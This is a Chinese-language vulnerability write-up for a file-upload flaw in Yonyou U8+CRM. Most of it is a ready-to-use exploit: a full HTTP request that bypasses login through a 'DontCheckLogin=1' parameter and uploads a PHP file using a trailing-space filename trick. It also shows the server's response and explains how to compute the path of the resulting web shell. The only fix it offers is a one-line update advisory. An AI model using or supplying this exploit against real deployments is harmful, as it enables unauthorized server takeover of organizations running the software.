0x01 前言

用友U8+CRM是企业利用信息技术,通过有意义的交流来了解并影响客户的行为,以提高客户招揽率、客户保持率、客户忠诚度和客户收益率。CRM是一项商业策略,它通过依据市场细分组织企业资源、培养以客户为中心的经营行为、执行以客户为中心的业务流程等手段来优化企业的客户满意度和获利能力。该系统存在文件上传漏洞,攻击者利用该漏洞可以获取服务器管理权限。

0x02 影响平台

用友U8+CRM

0x03 漏洞复现

微信图片_20230825203532_副本.png

EXP:

(这里有一点需要注意,上传的文件名test.php后边需要有个空格)

POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1
Host: 192.168.0.11:8072
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQ
Content-Length: 199

------WebKitFormBoundarykS5RKgl8t3nwInMQ
Content-Disposition: form-data; name="file"; filename="test.php "
Content-Type: text/plain

<?php phpinfo();?>

------WebKitFormBoundarykS5RKgl8t3nwInMQ

上传成功响应包如下:

HTTP/1.1 200 OK
Date: Fri, 25 Aug 2023 05:55:39 GMT
Server: Apache/2.2.19 (Win32) PHP/5.4.38
X-Powered-By: PHP/5.4.38
Set-Cookie: PHPSESSID=9r6frr15q71vc034iicagf9pe1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 123
Content-Type: text/html; charset=utf-8

{"success":true,"code":"","message":"","files":[],"filePath":"D:\\U8SOFT\\turbocrm70\\code\\www\\tmpfile\\mhtC202.tmp.mht"}

=====================================
说明:

上传之后返回的路径为:
D:\\U8SOFT\\turbocrm70\\code\\www\\tmpfile\\
文件名称为:
mhtC202.tmp.mht
直接访问这个文件不解析,需要访问另一个文件
// 上传之后会在目录下生成两个文件tmp.mht和tmp.php文件
访问的解析文件格式为udp***.tmp.php
星号部分为返回的文件名的十六进制减去一
例如:B356——>45910(十六进制),45909(十六进制减一)——>b355

======================================

Success~

微信图片_20230825203532_1_副本.png

shell地址:

http://192.168.2.11:81/tmpfile/updc201.tmp.php

0x04 修复方案

建议及时更新至最新版本!